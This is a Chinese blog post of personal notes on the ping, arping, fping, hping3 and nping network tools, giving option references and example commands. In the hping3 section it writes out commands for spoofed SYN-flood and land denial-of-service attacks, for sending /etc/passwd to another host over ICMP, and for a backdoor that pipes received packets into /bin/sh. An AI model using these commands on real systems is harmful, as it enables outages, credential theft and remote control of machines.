当前位置: 首页 > 工具软件 > Arping > 使用案例 >

ping、arping、fping、hping、hping3、nping

龚奕
2023-12-01

ping、arping、fping、hping、hping3、nping

(仅作为个人笔记,如有雷同,请联系删除。。)

Linux ping:
ping [参数] [主机名或IP地址]

	-d 使用Socket的SO\_DEBUG功能。
	
	-f  极限检测。大量且快速地送网络封包给一台机器,看它的回应。
	
	-n 只输出数值。
	
	-q 不显示任何传送封包的信息,只显示最后的结果。
	
	-r 忽略普通的Routing Table,直接将数据包送到远端主机上。通常是查看本机的网络接口是否有问题。
	
	-R 记录路由过程。
	
	-v 详细显示指令的执行过程。
	
	-c 数目:在发送指定数目的包后停止。
	
	-i 秒数:设定间隔几秒送一个网络封包给一台机器,预设值是一秒送一次。
	
	-I 源端口:使用指定的源端口送出数据包。
	
	-l 前置载入:设置在送出要求信息之前,先行发出的数据包。
	
	-p 范本样式:设置填满数据包的范本样式。
	
	-s 字节数:指定发送的数据字节数,预设值是56,加上8字节的ICMP头,一共是64ICMP数据字节。
	
	-t 存活数值:设置存活数值TTL的大小。

Windows ping:
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j computer-list] | [-k computer-list] [-w timeout] destination-list

	-t Ping 指定的计算机直到中断。—— 一直ping

  -a 将地址解析为计算机名。

  -n count 发送 count 指定的 ECHO 数据包数。默认值为 4。

  -l length 发送包含由 length 指定的数据量的 ECHO 数据包。默认为 32 字节;最大值是65,527。

  -f 在数据包中发送"不要分段"标志。数据包就不会被路由上的网关分段。

  -i ttl 将"生存时间"字段设置为 ttl 指定的值。

  -v tos 将"服务类型"字段设置为 tos 指定的值。

  -r count 在"记录路由"字段中记录传出和返回数据包的路由。count 可以指定最少 1 台,最多 9 台计算机。

  -s count 指定 count 指定的跃点数的时间戳。

  -j computer-list 利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为 9。

  -k computer-list 利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为 9。

  -w timeout 指定超时间隔,单位为毫秒。

  destination-list 指定要 ping 的远程计算机。

arping
aiping是在局域网中使用ARP请求判断目标主机是否在线的工具,可以用IP地址或MAC地址作为它的测试目标

//简单使用一次:
# arping 192.168.0.102 -c 1

//检测对方是否在线:
# arping -d -i eth0 192.168.56.102 -c 2

fping
fping 是一个将 ICMP echo 探测器发送到网络主机的程序,类似于 ping,可以看作是 ping 的增强版。但是 fping 在 ping多个主机时性能更好。

fping可以同时向多个主机发送ping(ICMP echo)请求,您可以在命令行中指定多个目标主机,也可以在某个文件里指定需要被检测的主机

fping程序通过目标主机的回复来判断该主机是否在线,如果目标主机发送回应,该主机将会被标记为alive(在线):

如果主机在一段时间内(超时或超过尝试次数)没有进行响应,该主机则会被标记为unreachable(不可访问)。默认情况下,fping将尝试向每个目标发送3次ICMP echo数据包

//获取帮助
# fping -h

//同时检测3个主机是否在线
# fping 192.168.1.1 192.168.1.100 192.168.1.107

//检测指定网段里的所有在线主机	-g选项支持生成列表
# fping -g 192.168.56.0/24

//如需改变探测目标主机的重试次数,则可在指令之中使用	-r选项,默认情况下试3次
# fping -r 1 -g 192.168.0.1 192.167.23.12

//	-s 查看多个目标的统计结果
# fping -s www.yahoo.com www.google.com www.msn.com
Usage: fping [options] [targets...]
   -a         显示存活目标,即可ping通的目标
   -A         将目标以ip地址的形式显示
   -b n       ping 数据包的大小。(默认为56)
   -B f       set exponential backoff factor to f
   -c n       ping每个目标的次数 (默认为1)
   -C n       同-c, 返回的结果为冗长格式
   -D         每个输出行打印时间戳
   -e         显示返回数据包所费时间
   -f file    从文件获取目标列表( - 表示从标准输入)(不能与 -g 同时使用)
   -g         生成目标列表(不能与 -f 同时使用)
				(可指定目标的开始和结束IP, 或者提供ip的子网掩码)
                (例:fping -g 192.168.1.0 192.168.1.255 或 fping -g 192.168.1.0/24)                
   -H n       设置ip的TTL值 (生存时间)
   -i n       ping包之间的间隔(单位:毫秒)(默认25)
   -I if      绑定到特定的接口
   -l         循环发送ping
   -m         ping目标主机的多个网口
   -M         设置不分段标记
   -n         将目标以主机名或域名显示(等价于 -d )
   -N         输出兼容netdata (-l -Q are required)
   -o         显示累计中断时间 (lost packets * packet interval)
   -O n       在ICMP包中设置服务的类型(tos)标志
   -p n       对同一个目标的ping包间隔(毫秒)
                 (在循环和统计模式中,默认为1000)
   -q         安静模式(不显示每个目标或每个ping的结果)
   -Q n       同-q, 但是每n秒显示信息概要
   -r n       当ping失败时,最大重试次数(默认为3次)
   -R         random packet data (to foil link data compression)
   -s         打印最后的统计数据
   -S addr    设置源ip地址
   -t n       单个目标的超时时间(毫秒)(默认500)
   -T n       请忽略(为兼容fping 2.4)
   -u         显示不可到达的目标
   -v         显示版本号
   targets    需要ping的目标列表(不能和 -f 同时使用)

	# eg:
	fping -A -u -c 4 192.168.1.1 192.168.1.74 192.168.1.20

hping
hping 是 面向命令行的用于生成和解析TCP/IP协议数据包汇编/分析的开源工具。作者是Salvatore Sanfilippo,界面灵感来自ping(8)unix命令,目前最新版是 hping3,它支持TCP,UDP,ICMP和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping 优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

用法: hping3 host [options]
  -h  --help      显示帮助
  -v  --version   显示版本
  -c  --count     发送数据包的数目
  -i  --interval  发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)
      --fast      等同 -i u10000 (每秒10个包)
      --faster    等同 -i u1000 (每秒100个包)
      --flood	  尽最快发送数据包,不显示回复。
  -n  --numeric   数字化输出,象征性输出主机地址。
  -q  --quiet     安静模式
  -I  --interface 网卡接口 (默认路由接口)
  -V  --verbose   详细模式
  -D  --debug     调试信息
  -z  --bind      绑定ctrl+z到ttl(默认为目的端口)
  -Z  --unbind    取消绑定ctrl+z键
      --beep      对于接收到的每个匹配数据包蜂鸣声提示

模式选择
  default mode     TCP   // 默认模式是 TCP
  -0  --rawip      RAWIP模式,原始IP模式。在此模式下HPING会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式。
  -1  --icmp       ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
  -2  --udp        UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
  -8  --scan       SCAN mode. //扫描模式 指定扫描对应的端口。
                   Example: hping --scan 1-30,70-90 -S www.target.host    // 扫描
  -9  --listen     listen mode  // 监听模式
  
IP 模式
  -a  --spoof      spoof source address  //源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
  --rand-dest      random destionation address mode. see the man. // 随机目的地址模式。详细使用 man 命令
  --rand-source    random source address mode. see the man.       // 随机源地址模式。详细使用 man 命令
  -t  --ttl        ttl (默认 64)  //修改 ttl 值
  -N  --id         id (默认 随机)  // hping 中的 ID 值,缺省为随机值
  -W  --winid      使用win* id字节顺序  //使用winid模式,针对不同的操作系统。UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
  -r  --rel        相对id字段(估计主机流量)  //更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
  -f  --frag       拆分数据包更多的frag.  (may pass weak acl)   //分段,可以测试对方或者交换机碎片处理能力,缺省16字节。
  -x  --morefrag   设置更多的分段标志    // 大量碎片,泪滴攻击。
  -y  --dontfrag   设置不分段标志    // 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
  -g  --fragoff    set the fragment offset    // 设置断偏移。
  -m  --mtu        设置虚拟最大传输单元, implies --frag if packet size > mtu    // 设置虚拟MTU值,当大于mtu的时候分段。
  -o  --tos        type of service (default 0x00), try --tos help          // tos字段,缺省0x00,尽力而为?
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer    // 记录IP路由,并显示路由缓冲。
  --lsrr           松散源路由并记录路由        // 松散源路由
  --ssrr           严格源路由并记录路由      // 严格源路由
  -H  --ipproto    设置IP协议字段,仅在RAW IP模式下使用   //在RAW IP模式里选择IP协议。设置ip协议域,仅在RAW ip模式使用。

ICMP 模式
  -C  --icmptype   icmp类型(默认echo请求)    // ICMP类型,缺省回显请求。
  -K  --icmpcode   icmp代号(默认0)     // ICMP代码。
      --force-icmp 发送所有icmp类型(默认仅发送支持的类型)    // 强制ICMP类型。
      --icmp-gw    设置ICMP重定向网关地址(默认0.0.0.0)    // ICMP重定向
      --icmp-ts    等同 --icmp --icmptype 13 (ICMP 时间戳)            // icmp时间戳
      --icmp-addr  等同 --icmp --icmptype 17 (ICMP 地址子网掩码)  // icmp子网地址
      --icmp-help  显示其他icmp选项帮助      // ICMP帮助

UDP/TCP 模式
  -s  --baseport   base source port             (default random)              // 缺省随机源端口
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec    // 缺省随机源端口
  -k  --keep       keep still source port      // 保持源端口
  -w  --win        winsize (default 64)        // win的滑动窗口。windows发送字节(默认64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)    // 设置伪造tcp数据偏移量(取代tcp地址长度除4)
  -Q  --seqnum     shows only tcp sequence number        // 仅显示tcp序列号
  -b  --badcksum   (尝试)发送具有错误IP校验和数据包。许多系统将修复发送数据包的IP校验和。所以你会得到错误UDP/TCP校验和。
  -M  --setseq     设置TCP序列号 
  -L  --setack     设置TCP的ack   ------------------------------------- (不是 TCP 的 ACK 标志位)
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag   ------------------------------------- (设置 TCP 的 ACK 标志 位)
  -U  --urg        set URG flag      // 一大堆IP抱头的设置。
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    使用last tcp-> th_flags作为退出码
  --tcp-mss        启用具有给定值的TCP MSS选项
  --tcp-timestamp  启用TCP时间戳选项来猜测HZ/uptime

Common //通用设置
  -d  --data       data size    (default is 0)    // 发送数据包大小,缺省是0。
  -E  --file       文件数据
  -e  --sign       添加“签名”
  -j  --dump       转储为十六进制数据包
  -J  --print      转储为可打印字符
  -B  --safe       启用“安全”协议
  -u  --end        告诉你什么时候--file达到EOF并防止倒回
  -T  --traceroute traceroute模式(等同使用 --bind 且--ttl 1)
  --tr-stop        在traceroute模式下收到第一个不是ICMP时退出
  --tr-keep-ttl    保持源TTL固定,仅用于监视一跳
  --tr-no-rtt	   不要在跟踪路由模式下计算/显示RTT信息 ARS包描述(新增功能,不稳定)
ARS packet description (new, unstable)
  --apd-send       发送APD描述数据包(参见docs / APD.txt)

hping3
hping3程序是命令下的网络数据包生成和分析工具,其主要用途:

  • 测试防火墙规则
  • 测试入侵检测系统/IDS
  • 测试TCP/IP模式的安全漏洞
选项缩写选项全称描述
-0–raw-ip发送原始IP包
-1–icmp发送ICMP包
-2–udp发送UDP包
-8–scan进入扫描模式
-9–listen进入监听模式
选项标识名称
-Ssyn
-Aack
-Rrst
-Ffin
-Ppsh
-Uurg
-Xxmas:设置fin,urg,psh
-Yymas
//简单使用:
hping3 -1 192.168.56.101 -c 1

//使用上述指令接受目标服务器的响应
# hping3
# hping3> hping recv eth0

hping3的功能:

测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。

hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

如果目标主机没有对我们的ping进行响应,我们可以对目标主机的TCP22端口发送一个带有SYN标识的TCP包再进行测试:

hping3 192.168.0.1 -c 1 -S -p 22 --s 6060

如果目标主机没有对我们的ping进行响应,我们可以对目标主机的UDP22端口发送一个带有SYN标识的TCP包再进行测试:

hping3 -2 192.168.0.1 -c 1 -S -p 22 -s 6060

Hping3也可以对目标进行端口扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:

hping3 -I eth0 -S 192.168.10.1 -p 80
# 其中-I eth0指定使用eth0端口,-S指定TCP包的标志位SYN,-p 80指定探测的目的端口。

Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。 该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。

hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

其他攻击如smurf、teardrop、land attack等也很容易构建出来。

Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:

hping3 192.168.1.159--listen signature --safe --icmp

监听ICMP包中的签名,根据签名解析出文件内容。
在发送端使用签名打包的ICMP包发送文件:

hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd

将/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。

如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。eg:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。

在木马启动端:

hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh

在远程控制端:

echo ls >test.cmd 
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd

将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。

当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。

nping
nping允许用户发送多种协议(TCP,UDP,ICMP和ARP协议)的数据包,它可以像ping程序一样发送ICMP echo请求。nping还可以用于对网络进行压力测试,ARP中毒,DoS攻击。

在Kali Linux中,nping程序是Nmap程序包的一部分

nping支持的多种探测模式如下:

模式选项说明
–tcp-connect基础的tcp-connect功能
–tcpTCP模式
–udpUDP模式
–icmpICMP模式(默认模式)
–arpARP/RARP模式
–trtraceroute模式(仅与TCP/UDP/ICMP模式兼容)

向多个目标主机(192.168.0.1 , 192.168.0.2 , 192.168.0.3)发送ICMP echo 请求:

# nping -c 1 192.168.0.1-3

向目标主机的22端口(-p 22)发送1次(-c 1)TCP(–tcp)数据包:

# nping --tcp -c 1 -p 22 192.168.0.1

建议从常规端口[ 21 / 222 / 23 / 25 / 80 / 443 / 8443 ]进行测试

Usage: nping [Probe mode] [Options] {target specification}

TARGET SPECIFICATION:
  Targets may be specified as hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
PROBE MODES:
  --tcp-connect                    : Unprivileged TCP connect probe mode.
  --tcp                            : TCP probe mode.
  --udp                            : UDP probe mode.
  --icmp                           : ICMP probe mode.
  --arp                            : ARP/RARP probe mode.
  --tr, --traceroute               : Traceroute mode (can only be used with
                                     TCP/UDP/ICMP modes).
TCP CONNECT MODE:
   -p, --dest-port <port spec>     : Set destination port(s).
   -g, --source-port <portnumber>  : Try to use a custom source port.
TCP PROBE MODE:
   -g, --source-port <portnumber>  : Set source port.
   -p, --dest-port <port spec>     : Set destination port(s).
   --seq <seqnumber>               : Set sequence number.
   --flags <flag list>             : Set TCP flags (ACK,PSH,RST,SYN,FIN...)
   --ack <acknumber>               : Set ACK number.
   --win <size>                    : Set window size.
   --badsum                        : Use a random invalid checksum.
UDP PROBE MODE:
   -g, --source-port <portnumber>  : Set source port.
   -p, --dest-port <port spec>     : Set destination port(s).
   --badsum                        : Use a random invalid checksum.
ICMP PROBE MODE:
  --icmp-type <type>               : ICMP type.
  --icmp-code <code>               : ICMP code.
  --icmp-id <id>                   : Set identifier.
  --icmp-seq <n>                   : Set sequence number.
  --icmp-redirect-addr <addr>      : Set redirect address.
  --icmp-param-pointer <pnt>       : Set parameter problem pointer.
  --icmp-advert-lifetime <time>    : Set router advertisement lifetime.
  --icmp-advert-entry <IP,pref>    : Add router advertisement entry.
  --icmp-orig-time  <timestamp>    : Set originate timestamp.
  --icmp-recv-time  <timestamp>    : Set receive timestamp.
  --icmp-trans-time <timestamp>    : Set transmit timestamp.
ARP/RARP PROBE MODE:
  --arp-type <type>                : Type: ARP, ARP-reply, RARP, RARP-reply.
  --arp-sender-mac <mac>           : Set sender MAC address.
  --arp-sender-ip  <addr>          : Set sender IP address.
  --arp-target-mac <mac>           : Set target MAC address.
  --arp-target-ip  <addr>          : Set target IP address.
IPv4 OPTIONS:
  -S, --source-ip                  : Set source IP address.
  --dest-ip <addr>                 : Set destination IP address (used as an
                                     alternative to {target specification} ).
  --tos <tos>                      : Set type of service field (8bits).
  --id  <id>                       : Set identification field (16 bits).
  --df                             : Set Don\'t Fragment flag.
  --mf                             : Set More Fragments flag.
  --ttl <hops>                     : Set time to live [0-255].
  --badsum-ip                      : Use a random invalid checksum.
  --ip-options <S|R [route]|L [route]|T|U ...> : Set IP options
  --ip-options <hex string>                    : Set IP options
  --mtu <size>                     : Set MTU. Packets get fragmented if MTU is
                                     small enough.
IPv6 OPTIONS:
  -6, --IPv6                       : Use IP version 6.
  --dest-ip                        : Set destination IP address (used as an
                                     alternative to {target specification}).
  --hop-limit                      : Set hop limit (same as IPv4 TTL).
  --traffic-class <class> :        : Set traffic class.
  --flow <label>                   : Set flow label.
ETHERNET OPTIONS:
  --dest-mac <mac>                 : Set destination mac address. (Disables
                                     ARP resolution)
  --source-mac <mac>               : Set source MAC address.
  --ether-type <type>              : Set EtherType value.
PAYLOAD OPTIONS:
  --data <hex string>              : Include a custom payload.
  --data-string <text>             : Include a custom ASCII text.
  --data-length <len>              : Include len random bytes as payload.
ECHO CLIENT/SERVER:
  --echo-client <passphrase>       : Run Nping in client mode.
  --echo-server <passphrase>       : Run Nping in server mode.
  --echo-port <port>               : Use custom <port> to listen or connect.
  --no-crypto                      : Disable encryption and authentication.
  --once                           : Stop the server after one connection.
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, or append 'ms' (milliseconds),
  's' (seconds), 'm' (minutes), or \'h' (hours) to the value (e.g. 30m, 0.25h).
  --delay <time>                   : Adjust delay between probes.
  --rate  <rate>                   : Send num packets per second.
MISC:
  -h, --help                       : Display help information.
  -V, --version                    : Display current version number.
  -c, --count <n>                  : Stop after <n> rounds.
  -e, --interface <name>           : Use supplied network interface.
  -H, --hide-sent                  : Do not display sent packets.
  -N, --no-capture                 : Do not try to capture replies.
  --privileged                     : Assume user is fully privileged.
  --unprivileged                   : Assume user lacks raw socket privileges.
  --send-eth                       : Send packets at the raw ethernet layer.
  --send-ip                        : Send packets using raw IP sockets.
  --bpf-filter <filter spec>       : Specify custom BPF filter.
OUTPUT:
  -v                               : Increment verbosity level by one.
  -v[level]                        : Set verbosity level. E.g: -v4
  -d                               : Increment debugging level by one.
  -d[level]                        : Set debugging level. E.g: -d3
  -q                               : Decrease verbosity level by one.
  -q[N]                            : Decrease verbosity level N times
  --quiet                          : Set verbosity and debug level to minimum.
  --debug                          : Set verbosity and debug to the max level.
EXAMPLES:
  nping scanme.nmap.org
  nping --tcp -p 80 --flags rst --ttl 2 192.168.1.1
  nping --icmp --icmp-type time --delay 500ms 192.168.254.254
  nping --echo-server "public" -e wlan0 -vvv
  nping --echo-client "public" echo.nmap.org --tcp -p1-1024 --flags ack

SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES
 类似资料: